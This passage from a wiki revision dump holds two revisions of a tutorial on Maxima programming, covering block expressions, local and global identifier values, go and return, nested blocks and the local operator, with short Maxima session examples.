(%i9)	x;
(%o9)	2

/* the global value of identifier y is not 4, but is itself */
(%i10)	y;
(%o10)	y&lt;/syntaxhighlight&gt;

Regardless of the form of the &lt;code&gt;block&lt;/code&gt; expressions these have in common the comma-separated expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  which are evaluated each in turn from first to last (unless the evaluation sequence is modified by by the &lt;code&gt;go&lt;/code&gt;, &lt;code&gt;throw&lt;/code&gt;, or &lt;code&gt;return&lt;/code&gt; operators), and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;. 

The main purpose of the &lt;code&gt;block&lt;/code&gt; expression, regardless of the form, it to group expressions that are related in some manner, and the value of the last expression may be the only value of interest. However, there are very few limitations imposed on the nature of the &lt;code&gt;block&lt;/code&gt; expression arguments, so it might be the case that the purpose of evaluating the &lt;code&gt;block&lt;/code&gt; expression has been achieved before the last expression argument is evaluated, in which case the value of the &lt;code&gt;block&lt;/code&gt; expression may not necessarily be the value of the last argument expression.

One way to accomplish that is to use an empty string as the last argument expression with the option flag &lt;code&gt;stringdisp&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; which is the default value.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i11)	stringdisp;
(%o11)	false

(%i12)	block ([x,y], x : 3, y : 4, x, &quot;&quot;);
(%o12)	

(%i13)	block ([x,y], x : 3, y : 4, x)$
&lt;/syntaxhighlight&gt;
The display of the value of the &lt;code&gt;block&lt;/code&gt; expression may be suppressed using a &lt;code&gt;$&lt;/code&gt; to end the input expression instead of a semi-colon. Either technique produces a &lt;code&gt;block&lt;/code&gt; expression value, but the value is not displayed. If a &lt;code&gt;return&lt;/code&gt; operator is evaluated as a argument expression, this will cause evaluation of expression arguments to end explicitly, and the value of the &lt;code&gt;return&lt;/code&gt; operator becomes the value of the &lt;code&gt;block&lt;/code&gt; expression.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i14)	is (equal (x,2));
(%o14)	true

%i15)	block (if is (equal (x,2)) then return (x), &quot; x not 2&quot;);
(%o15)	2

(%i16)	x : 3;
(x)	3

(%i17)	block (if is (equal (x,2)) then return (x), &quot;x not 2&quot;);
(%o17)	x not 2
&lt;/syntaxhighlight&gt;

==== Block Expression Evaluation Sequence Modifications ====
Block expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  are generally evaluated each in turn from first to last, and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt; unless this sequence is modified by some means.

One way to modify the first-to-last expression evaluation sequence of a &lt;code&gt;block&lt;/code&gt; expression is by way of a &lt;code&gt;go&lt;/code&gt; operator with a label (or &quot;tag&quot;) argument ( the &quot;''go to''&quot;) as the following exemplifies:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i18)	sum_to_n (n) := block ( [i : 1, total : 0],
	                             loop,
	                                total : total + i,
	                                i : i + 1,
	                                if i &lt;= n then go (loop),
	                             total)$

(%i19)	sum_to_n(25);
(%o19)	325

(%i20)	n;
(%o20)	n

(%i21)	i;
(%o21)	i

(%i22)	total;
(%o22)	total
&lt;/syntaxhighlight&gt;Note the following:

* &lt;code&gt;block ([ i : 1,total : 0], ...)&lt;/code&gt;: The list argument creates a local environment with local identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt;. The function argument &lt;code&gt;n&lt;/code&gt; is also a local identifier.
* &lt;code&gt;loop&lt;/code&gt;: This label serves as a target inside the &lt;code&gt;block&lt;/code&gt; expression to where &lt;code&gt;go (loop)&lt;/code&gt; can jump.
* &lt;code&gt;if i &lt;= n then go (loop)&lt;/code&gt;: This conditional expression causes the &lt;code&gt;go (loop)&lt;/code&gt; operator to be evaluated if the condition is &lt;code&gt;true&lt;/code&gt;.
* &lt;code&gt;total&lt;/code&gt;: The value of this local identifier is the returned value of the block.
It should also be worth noting that the identifiers &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, and &lt;code&gt;total&lt;/code&gt; have local values assigned within the block, but their global values are themselves. Also notice that the identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt; were both declared local and assigned initial values within the &lt;code&gt;block&lt;/code&gt; list argument.

The go-to label argument of the &lt;code&gt;go&lt;/code&gt; operator must be the name of a tag appearing within the same block expression. The &lt;code&gt;go&lt;/code&gt; operator cannot be used to go to a tag in a different block expression. There is nothing special about the &lt;code&gt;loop&lt;/code&gt; identifier name used for the go-to tag in this example. Other identifiers could be used, but they must be atomic.

==== Nested Block Expressions ====
Block operators may appear within other block expressions as arguments – '''''nested''''' block expressions. A local environment with local identifiers may be created for nested block expressions. Local values for identifiers, if declared by a first &lt;code&gt;block&lt;/code&gt; operator list argument, are created each time a nested block is evaluated.  

However, identifiers with global values that have not been declared as local within any &lt;code&gt;block&lt;/code&gt; expressions, are global values for nested &lt;code&gt;block&lt;/code&gt; expressions as well as enclosing &lt;code&gt;block&lt;/code&gt; expressions. Likewise, local identifiers of any enclosing &lt;code&gt;block&lt;/code&gt; expression have values that are global within any enclosed blocks, if not declared as local within the enclosed block. If the value of an identifier is not local in a &lt;code&gt;block&lt;/code&gt; expression, its value is the value most recently assigned by an enclosing &lt;code&gt;block&lt;/code&gt; expression, if any value has been assigned. Otherwise, it is the value of the identifier in the global environment. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	z : 2^(1/3);
(z)	2^(1/3)

(%i24) /* Outer block starts */
	block 
	(
	 [x : 10, y : 20],
	 /* values of x and y declared local to outer block */
	  
	 /* Inner block starts */
	     block 
	     (
	      [y : 99, z : 100], 
	      /* values of y and z declared local to inner block */
	      print (&quot;Inside inner block:&quot;),
	      print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	      print (&quot;y =&quot;,  y, &quot;is the local value of y of outer block&quot;),
	      print(&quot;z =&quot;,  z, &quot;is the local value of z of inner block&quot;)
	     ),
	 /* Inner block ends */
	 
	 /* Outer block resumes */
	 print (&quot;Back in outer block:&quot;),
	 print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	 print (&quot;y =&quot;,  y,  &quot;is the restored value of y of the outer block&quot;),
	 print (&quot;z =&quot;,  z,  &quot;is the value of z global to both blocks&quot;)
	 /* Outer block ends */
	)$
	
Inside inner block:
x = 10 is the value of x from outer block
y = 99 is the local value of y of outer block
z = 100 is the local value of z of inner block
Back in outer block:
x = 10 is the value of x from outer block
y = 20 is the restored value of y of the outer block
z = 2^(1/3) is the value of z global to both blocks
&lt;/syntaxhighlight&gt;

==== Values, Properties, and the &lt;code&gt;local&lt;/code&gt; Operator ====
The expression &lt;code&gt;local (v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;)&lt;/code&gt; within a &lt;code&gt;block&lt;/code&gt; expression saves the '''''properties''''' associated with the symbols &lt;code&gt;v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;&lt;/code&gt;, removes any properties before evaluating other expressions, and restores any saved properties on exit from the block.

Because Maxima is an application based on the Common Lisp programming language, it utilizes Lisp '''''symbol''''' structure. Lisp symbols are objects that carry their own &quot;dictionary&quot; of attributes. A Lisp symbol's internal property list (''plist'') is a built-in data structure attached directly to a symbol. Maxima uses this underlying Lisp symbol structure to associate '''''properties''''' with Maxima identifiers.

Properties of identifiers can be ''declared explicitly'' by users. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	declare (x, real);
(%o23)	done
&lt;/syntaxhighlight&gt;
However, some identifier property declarations are ''implemented implicitly'' as properties of a symbol, including &lt;code&gt;:=&lt;/code&gt;, &lt;code&gt;array&lt;/code&gt;, &lt;code&gt;dependencies&lt;/code&gt;, &lt;code&gt;atvalue&lt;/code&gt;, &lt;code&gt;matchdeclare&lt;/code&gt;, &lt;code&gt;atomgrad&lt;/code&gt;, &lt;code&gt;constant&lt;/code&gt;, &lt;code&gt;nonscalar&lt;/code&gt;, &lt;code&gt;assume&lt;/code&gt;, and some others. Below is a description of how each of those specific declarations is implemented as a property under the hood:

====== Functions and Arrays ======
* '''&lt;code&gt;:=&lt;/code&gt; (Function Definition):''' When you define a function using &lt;code&gt;f(x) := x^2&lt;/code&gt;, the actual expression (&lt;code&gt;x^2&lt;/code&gt;) and its argument list (&lt;code&gt;x&lt;/code&gt;) are stored as a property of the symbol &lt;code&gt;f&lt;/code&gt;.
* '''&lt;code&gt;array&lt;/code&gt;:''' When you declare or use a subscripted array (like &lt;code&gt;a[i]&lt;/code&gt;), the array type, dimensions, and memory pointer are attached as a property to the symbol &lt;code&gt;a&lt;/code&gt;. This differentiates it from a standard scalar variable.

====== Calculus and Dependencies ======
* '''&lt;code&gt;dependencies&lt;/code&gt;:''' If you declare &lt;code&gt;depends(y, x)&lt;/code&gt;, Maxima attaches a dependency list property to &lt;code&gt;y&lt;/code&gt; noting that it functionally depends on &lt;code&gt;x&lt;/code&gt;. This tells the &lt;code&gt;diff&lt;/code&gt; (differentiation) engine not to treat &lt;code&gt;y&lt;/code&gt; as a constant relative to &lt;code&gt;x&lt;/code&gt;.
* '''&lt;code&gt;atvalue&lt;/code&gt;:''' When you define a specific value for an expression at a boundary point (e.g., &lt;code&gt;atvalue(y, x=0, 1)&lt;/code&gt;), this boundary constraint is stored as an evaluation property on the symbol &lt;code&gt;y&lt;/code&gt;.
* '''&lt;code&gt;atomgrad&lt;/code&gt;:''' This assigns a specific gradient or derivative to an atomic identifier (e.g., telling Maxima what (df/dx) is explicitly). Maxima saves this rule as a gradient property on that symbol.

====== Pattern Matching and Rules ======
* '''&lt;code&gt;matchdeclare&lt;/code&gt;:''' Used in Maxima's pattern-matching system (like &lt;code&gt;tellsimp&lt;/code&gt;). When you type &lt;code&gt;matchdeclare(x, freeof(a))&lt;/code&gt;, Maxima attaches a predicate property to &lt;code&gt;x&lt;/code&gt;. When a pattern rule runs, Maxima looks at property list of &lt;code&gt;x&lt;/code&gt; to see what conditions a matching expression must meet.

====== Mathematical and Evaluation Attributes ======
* '''&lt;code&gt;constant&lt;/code&gt;:''' Declaring &lt;code&gt;declare(c, constant)&lt;/code&gt; places a &quot;constant&quot; flag on property list of  &lt;code&gt;c&lt;/code&gt;. Core routines (like integration and differentiation) check this flag to know they can pull &lt;code&gt;c&lt;/code&gt; out of integrals or differentiate it to zero.
* '''&lt;code&gt;nonscalar&lt;/code&gt;:''' Tells Maxima to treat a symbol as a matrix or vector rather than a regular number. This property changes how operators like &lt;code&gt;.&lt;/code&gt; (non-commutative multiplication) treat the symbol.
* '''&lt;code&gt;assume&lt;/code&gt;:''' When an expression such as &lt;code&gt;assume(x &gt; 0)&lt;/code&gt; is used, Maxima's database system (&lt;code&gt;context&lt;/code&gt;) assigns facts and properties (like &lt;code&gt;pos&lt;/code&gt; or &lt;code&gt;nonnegative&lt;/code&gt;) to the symbol &lt;code&gt;x&lt;/code&gt;, allowing the simplifier to safely reduce expressions like &lt;code&gt;sqrt(x^2)&lt;/code&gt; to &lt;code&gt;x&lt;/code&gt;.

The effect of the &lt;code&gt;local&lt;/code&gt; operator is to make such declarations effective only within a &lt;code&gt;block&lt;/code&gt; expression. Otherwise, declarations within a &lt;code&gt;block&lt;/code&gt; expression are considered to be global declarations.

So what does all of this mean to the typical Maxima user? It means that the list of identifiers that is the first argument  of a &lt;code&gt;block&lt;/code&gt; expression only declares the '''''values''''' of those identifiers as local to the &lt;code&gt;block&lt;/code&gt; expression in which the list is an argument. Any properties of identifiers are not declared local by this means. 

In order to declare '''''properties''''' of identifiers to be local to a &lt;code&gt;block&lt;/code&gt; expression, the &lt;code&gt;local&lt;/code&gt; operator must be used as an expression within the &lt;code&gt;block&lt;/code&gt; expression. At the point where the local operator is evaluated as an argument of a &lt;code&gt;block&lt;/code&gt; expression, the properties of the identifiers that are arguments to the &lt;code&gt;local&lt;/code&gt; operator become local to the block. It is not an unfair criticism that perhaps the &lt;code&gt;local&lt;/code&gt; operator should have been named something like &lt;code&gt;local_properties&lt;/code&gt;. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i25)	f(s) := cos (s);
(%o25)	f(s):=cos(s)

(%i26)	f (%pi/6);
(%o26)	sqrt(3)/2

(%i27)	block (local (f), f (s) := sin (s), f (%pi/6));
(%o27)	1/2

(%i28)	f (s);
(%o28)	cos(s)
&lt;/syntaxhighlight&gt;In the above example, the '''''properties''''' of identifier &lt;code&gt;f&lt;/code&gt; were declared to be local in the &lt;code&gt;block&lt;/code&gt; expression using the &lt;code&gt;local&lt;/code&gt; operator. However, global properties of the identifier &lt;code&gt;f&lt;/code&gt; were not affected by the local function definition of &lt;code&gt;f&lt;/code&gt; in the &lt;code&gt;block&lt;/code&gt; expression. The global definition expression of &lt;code&gt;f&lt;/code&gt; which is &lt;code&gt;cos (s)&lt;/code&gt; and the argument &lt;code&gt;s&lt;/code&gt; were not affected by the local definition of &lt;code&gt;f&lt;/code&gt; because the properties of &lt;code&gt;f&lt;/code&gt; were declared local to the &lt;code&gt;block&lt;/code&gt; expression. 

=== Functions ===

=== Lisp and Maxima ===

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      <sha1>fsxhel7e3ndjb4dw0e42smvwytjtuk9</sha1>
    </revision>
    <revision>
      <id>4670547</id>
      <parentid>4670450</parentid>
      <timestamp>2026-09-17T01:57:22Z</timestamp>
      <contributor>
        <username>Idavidmiller</username>
        <id>3577687</id>
      </contributor>
      <minor />
      <comment>/* Block Expressions */</comment>
      <origin>4670547</origin>
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      <text bytes="17857" sha1="4gjr3bo1oaztxn0bq9ixbz7fpu8141m" xml:space="preserve">=Maxima Programming=
Although Maxima is not a general-purpose programming language, Maxima as a CAS includes among the built-in ingredients a relatively complete set of programming expressions that are useful for the intended context. Many of the code examples of this section are intended to be illustrative of technical details relevant to Maxima programming as their purpose, and consequently are intentionally elementary in character.

Learning any sort of programming language, including Maxima programming expressions, is a subjective process. In any case, it is essential to have enough technical know-how specific to the programming language in order to begin the learning process, even in cases where much positive transfer from other programming experience is involved.

Much can be accomplished mathematically using Maxima without having to resort to in-depth knowledge and proficiency in the technical details of Maxima programming expressions. However, Maxima programming expressions are frequently essential for the purpose of defining functions, both in the programming sense of the term, but also more relevantly, to the mathematical sense. For that reason alone, familiarity and sufficient proficiency with Maxima programming expressions should be given some attention.

One way to begin the learning process is to become familiar with enough of the programming essentials to accomplish independent efforts toward accomplishing some specific programming goal of interest.  The other way is to study the many available programming expressions of others. This section is intended to provide the essentials toward learning by whatever means is chosen.

The following table shows some built-in ingredients related to Maxima programming expressions:
{| class=&quot;wikitable&quot;
|+Maxima Programming Category
|if
|unless
|errcatch
|prederror
|-
|block
|for
|error
|return
|-
|catch
|from
|warning
|throw 
|-
|local
|thru
|errormsg
|sstatus
|-
|garbage_collect
|step
|errormsg
|status
|-
|do
|next
|go
|
|-
|while
|in
|
|
|}

Some of these programming expression ingredients can also be considered as belonging to one or more other categories than the Programming category.

=== Block Expressions ===
Arguably, the first expressions to consider in the context of Maxima programming are '''''block''''' expressions. &lt;code&gt;Block&lt;/code&gt; expressions as programming ingredients come in two flavors:

* &lt;code&gt;( expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt; )&lt;/code&gt;
* &lt;code&gt;block ([v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;], expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt;

The first form of a &lt;code&gt;block&lt;/code&gt; expression is equivalent to the second form, but without the first list argument: &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt;, as in &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;, unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the block expression. In that, case the form &lt;code&gt;block (expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;)&lt;/code&gt; must be used.

The purpose of the list argument,  &lt;code&gt;[v&lt;sub&gt;1&lt;/sub&gt;,v&lt;sub&gt;2,&lt;/sub&gt;…,v&lt;sub&gt;m&lt;/sub&gt;]&lt;/code&gt; is to declare the values of identifiers of the list to be local to the &lt;code&gt;block&lt;/code&gt;. If there is no need for local identifiers, the list argument can be omitted (unless &lt;code&gt;return&lt;/code&gt; or &lt;code&gt;go&lt;/code&gt; are used in the &lt;code&gt;block&lt;/code&gt; expression), and either form is sufficient.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* This block expression */
(%i1)	(x : 2, x^2);
(%o1)	4

/* Is equivalent to this block expression */
(%i2)	block (x : 2, x^2);
(%o2)	4&lt;/syntaxhighlight&gt;So, in the case where values of identifiers local to the &lt;code&gt;block&lt;/code&gt; of expressions are not required, then the choice of either form of the &lt;code&gt;block&lt;/code&gt; expression is a matter of user preference, . In both cases, the values of identifiers referenced in the &lt;code&gt;block&lt;/code&gt; are global, and not local to the &lt;code&gt;block&lt;/code&gt;.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
/* The value 3 assigned to x is global */
(%i3)	x : 3;
(x)	    3

/* The value 2 assigned to x in the block is global */
(%i4)	(x : 2, x^2);
(%o4)	4

/* The global value assigned to x in the block is 2 not 3 */
(%i5)	x;
(%o5)	2
&lt;/syntaxhighlight&gt;Values of identifiers local to the &lt;code&gt;block&lt;/code&gt; may not be global:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;/* the value of identifier y is local only */
(%i6)	block ([y], y : 4, y);
(%o6)	4

/* the global value of identifier y is not 4, but is itself */
(%i7)	y;
(%o7)	y

/* the values of identifiers x and y are both local */
(%i8)	block ([x,y], x : 3, y : 4, x);
(%o8)	3

/* the global value of identifier x is not 3, but is 2 */
(%i9)	x;
(%o9)	2

/* the global value of identifier y is not 4, but is itself */
(%i10)	y;
(%o10)	y&lt;/syntaxhighlight&gt;

Regardless of the form of the &lt;code&gt;block&lt;/code&gt; expressions these have in common the comma-separated expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  which are evaluated each in turn from first to last (unless the evaluation sequence is modified by by the &lt;code&gt;go&lt;/code&gt;, &lt;code&gt;throw&lt;/code&gt;, or &lt;code&gt;return&lt;/code&gt; operators), and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;. 

The main purpose of the &lt;code&gt;block&lt;/code&gt; expression, regardless of the form, it to group expressions that are related in some manner, and the value of the last expression may be the only value of interest. However, there are very few limitations imposed on the nature of the &lt;code&gt;block&lt;/code&gt; expression arguments, so it might be the case that the purpose of evaluating the &lt;code&gt;block&lt;/code&gt; expression has been achieved before the last expression argument is evaluated, in which case the value of the &lt;code&gt;block&lt;/code&gt; expression may not necessarily be the value of the last argument expression.

One way to accomplish that is to use an empty string as the last argument expression with the option flag &lt;code&gt;stringdisp&lt;/code&gt; set to &lt;code&gt;false&lt;/code&gt; which is the default value.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i11)	stringdisp;
(%o11)	false

(%i12)	block ([x,y], x : 3, y : 4, x, &quot;&quot;);
(%o12)	

(%i13)	block ([x,y], x : 3, y : 4, x)$
&lt;/syntaxhighlight&gt;
The display of the value of the &lt;code&gt;block&lt;/code&gt; expression may be suppressed using a &lt;code&gt;$&lt;/code&gt; to end the input expression instead of a semi-colon. Either technique produces a &lt;code&gt;block&lt;/code&gt; expression value, but the value is not displayed. If a &lt;code&gt;return&lt;/code&gt; operator is evaluated as a argument expression, this will cause evaluation of expression arguments to end explicitly, and the value of the &lt;code&gt;return&lt;/code&gt; operator becomes the value of the &lt;code&gt;block&lt;/code&gt; expression.&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i14)	is (equal (x,2));
(%o14)	true

%i15)	block (if is (equal (x,2)) then return (x), &quot; x not 2&quot;);
(%o15)	2

(%i16)	x : 3;
(x)	3

(%i17)	block (if is (equal (x,2)) then return (x), &quot;x not 2&quot;);
(%o17)	x not 2
&lt;/syntaxhighlight&gt;

==== Block Expression Evaluation Sequence Modifications ====
Block expression arguments &lt;code&gt;expr&lt;sub&gt;1&lt;/sub&gt;, expr&lt;sub&gt;2&lt;/sub&gt;,…, expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt;  are generally evaluated each in turn from first to last, and the value of the block expression is the value of &lt;code&gt;expr&lt;sub&gt;n&lt;/sub&gt;&lt;/code&gt; unless this sequence is modified by some means.

One way to modify the first-to-last expression evaluation sequence of a &lt;code&gt;block&lt;/code&gt; expression is by way of a &lt;code&gt;go&lt;/code&gt; operator with a label (or &quot;tag&quot;) argument ( the &quot;''go to''&quot;) as the following exemplifies:&lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i18)	sum_to_n (n) := block ( [i : 1, total : 0],
	                             loop,
	                                total : total + i,
	                                i : i + 1,
	                                if i &lt;= n then go (loop),
	                             total)$

(%i19)	sum_to_n(25);
(%o19)	325

(%i20)	n;
(%o20)	n

(%i21)	i;
(%o21)	i

(%i22)	total;
(%o22)	total
&lt;/syntaxhighlight&gt;Note the following:

* &lt;code&gt;block ([ i : 1,total : 0], ...)&lt;/code&gt;: The list argument creates a local environment with local identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt;. The function argument &lt;code&gt;n&lt;/code&gt; is also a local identifier.
* &lt;code&gt;loop&lt;/code&gt;: This label serves as a target inside the &lt;code&gt;block&lt;/code&gt; expression to where &lt;code&gt;go (loop)&lt;/code&gt; can jump.
* &lt;code&gt;if i &lt;= n then go (loop)&lt;/code&gt;: This conditional expression causes the &lt;code&gt;go (loop)&lt;/code&gt; operator to be evaluated if the condition is &lt;code&gt;true&lt;/code&gt;.
* &lt;code&gt;total&lt;/code&gt;: The value of this local identifier is the returned value of the block.
It should also be worth noting that the identifiers &lt;code&gt;n&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, and &lt;code&gt;total&lt;/code&gt; have local values assigned within the block, but their global values are themselves. Also notice that the identifiers &lt;code&gt;i&lt;/code&gt; and &lt;code&gt;total&lt;/code&gt; were both declared local and assigned initial values within the &lt;code&gt;block&lt;/code&gt; list argument.

The go-to label argument of the &lt;code&gt;go&lt;/code&gt; operator must be the name of a tag appearing within the same block expression. The &lt;code&gt;go&lt;/code&gt; operator cannot be used to go to a tag in a different block expression. There is nothing special about the &lt;code&gt;loop&lt;/code&gt; identifier name used for the go-to tag in this example. Other identifiers could be used, but they must be atomic.

==== Nested Block Expressions ====
Block operators may appear within other block expressions as arguments – '''''nested''''' block expressions. A local environment with local identifiers may be created for nested block expressions. Local values for identifiers, if declared by a first &lt;code&gt;block&lt;/code&gt; operator list argument, are created each time a nested block is evaluated.  

However, identifiers with global values that have not been declared as local within any &lt;code&gt;block&lt;/code&gt; expressions, are global values for nested &lt;code&gt;block&lt;/code&gt; expressions as well as enclosing &lt;code&gt;block&lt;/code&gt; expressions. Likewise, local identifiers of any enclosing &lt;code&gt;block&lt;/code&gt; expression have values that are global within any enclosed blocks, if not declared as local within the enclosed block. If the value of an identifier is not local in a &lt;code&gt;block&lt;/code&gt; expression, its value is the value most recently assigned by an enclosing &lt;code&gt;block&lt;/code&gt; expression, if any value has been assigned. Otherwise, it is the value of the identifier in the global environment. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	z : 2^(1/3);
(z)	2^(1/3)

(%i24) /* Outer block starts */
	block 
	(
	 [x : 10, y : 20],
	 /* values of x and y declared local to outer block */
	  
	 /* Inner block starts */
	     block 
	     (
	      [y : 99, z : 100], 
	      /* values of y and z declared local to inner block */
	      print (&quot;Inside inner block:&quot;),
	      print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	      print (&quot;y =&quot;,  y, &quot;is the local value of y of outer block&quot;),
	      print(&quot;z =&quot;,  z, &quot;is the local value of z of inner block&quot;)
	     ),
	 /* Inner block ends */
	 
	 /* Outer block resumes */
	 print (&quot;Back in outer block:&quot;),
	 print (&quot;x =&quot;,  x, &quot;is the value of x from outer block&quot;),
	 print (&quot;y =&quot;,  y,  &quot;is the restored value of y of the outer block&quot;),
	 print (&quot;z =&quot;,  z,  &quot;is the value of z global to both blocks&quot;)
	 /* Outer block ends */
	)$
	
Inside inner block:
x = 10 is the value of x from outer block
y = 99 is the local value of y of outer block
z = 100 is the local value of z of inner block
Back in outer block:
x = 10 is the value of x from outer block
y = 20 is the restored value of y of the outer block
z = 2^(1/3) is the value of z global to both blocks
&lt;/syntaxhighlight&gt;

==== Values, Properties, and the &lt;code&gt;local&lt;/code&gt; Operator ====
The expression &lt;code&gt;local (v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;)&lt;/code&gt; within a &lt;code&gt;block&lt;/code&gt; expression saves the '''''properties''''' associated with the symbols &lt;code&gt;v&lt;sub&gt;1&lt;/sub&gt;, v&lt;sub&gt;2&lt;/sub&gt;, ... , v&lt;sub&gt;m&lt;/sub&gt;&lt;/code&gt;, removes any properties before evaluating other expressions, and restores any saved properties on exit from the block.

Because Maxima is an application based on the Common Lisp programming language, it utilizes Lisp '''''symbol''''' structure. Lisp symbols are objects that carry their own &quot;dictionary&quot; of attributes. A Lisp symbol's internal property list (''plist'') is a built-in data structure attached directly to a symbol. Maxima uses this underlying Lisp symbol structure to associate '''''properties''''' with Maxima identifiers.

Properties of identifiers can be ''declared explicitly'' by users. &lt;syntaxhighlight lang=&quot;maxima&quot;&gt;
(%i23)	declare (x, real);
(%o23)	done
&lt;/syntaxhighlight&gt;
However, some identifier property declarations are ''implemented implicitly'' as properties of a symbol, including &lt;code&gt;:=&lt;/code&gt;, &lt;code&gt;array&lt;/code&gt;, &lt;code&gt;dependencies&lt;/code&gt;, &lt;code&gt;atvalue&lt;/code&gt;, &lt;code&gt;matchdeclare&lt;/code&gt;, &lt;code&gt;atomgrad&lt;/code&gt;, &lt;code&gt;constant&lt;/code&gt;, &lt;code&gt;nonscalar&lt;/code&gt;, &lt;code&gt;assume&lt;/code&gt;, and some others. Below is a description of how each of those specific declarations is implemented as a property under the hood:

====== Functions and Arrays ======
* '''&lt;code&gt;:=&lt;/code&gt; (Function Definition):''' When you define a function using &lt;code&gt;f(x) := x^2&lt;/code&gt;, the actual expression (&lt;code&gt;x^2&lt;/code&gt;) and its argument list (&lt;code&gt;x&lt;/code&gt;) are stored as a property of the symbol &lt;code&gt;f&lt;/code&gt;.
* '''&lt;code&gt;array&lt;/code&gt;:''' When you declare or use a subscripted array (like &lt;code&gt;a[i]&lt;/code&gt;), the array type, dimensions, and memory pointer are attached as a property to the symbol &lt;code&gt;a&lt;/code&gt;. This differentiates it from a standard scalar variable.

====== Calculus and Dependencies ======
* '''&lt;code&gt;dependencies&lt;/code&gt;:''' If you declare &lt;code&gt;depends(y, x)&lt;/code&gt;, Maxima attaches a dependency list property to &lt;code&gt;y&lt;/code&gt; noting that it functionally depends on &lt;code&gt;x&lt;/code&gt;. This tells the &lt;code&gt;diff&lt;/code&gt; (differentiation) engine not to treat &lt;code&gt;y&lt;/code&gt; as a constant relative to &lt;code&gt;x&lt;/code&gt;.
* '''&lt;code&gt;atvalue&lt;/code&gt;:''' When you define a specific value for an expression at a boundary point (e.g., &lt;code&gt;atvalue(y, x=0, 1)&lt;/code&gt;), this boundary constraint is stored as an evaluation property on the symbol &lt;code&gt;y&lt;/code&gt;.
* '''&lt;code&gt;atomgrad&lt;/code&gt;:''' This assigns a specific gradient or derivative to an atomic identifier (e.g., telling Maxima what (df/dx) is explicitly). Maxima saves this rule as a gradient property on that symbol.

====== Pattern Matching and Rules ======
* '''&lt;code&gt;matchdeclare&lt;/code&gt;:''' Used in Maxima's pattern-matching system (like &lt;code&gt;tellsimp&lt;/code&gt;). When you type &lt;code&gt;matchdeclare(x, freeof(a))&lt;/code&gt;, Maxima attaches a predicate property to &lt;code&gt;x&lt;/code&gt;. When a pattern rule runs, Maxima looks at property list of &lt;code&gt;x&lt;/code&gt; to see what conditions a matching expression must meet.

====== Mathematical and Evaluation Attributes ======
* '''&lt;code&gt;constant&lt;/code&gt;:''' Declaring &lt;code&gt;declare(c, constant)&lt;/code&gt; places a &quot;constant&quot; flag on property list of  &lt;code&gt;c&lt;/code&gt;. Core routines (like integration and differentiation) check this flag to know they can pull &lt;code&gt;c&lt;/code&gt; out of integrals or differentiate it to zero.
* '''&lt;code&gt;nonscalar&lt;/code&gt;:''' Tells Maxima to treat a symbol as a matrix or vector rather than a regular number. This property changes how operators like &lt;code&gt;.&lt;/code&gt; (non-commutative multiplication) treat the symbol.
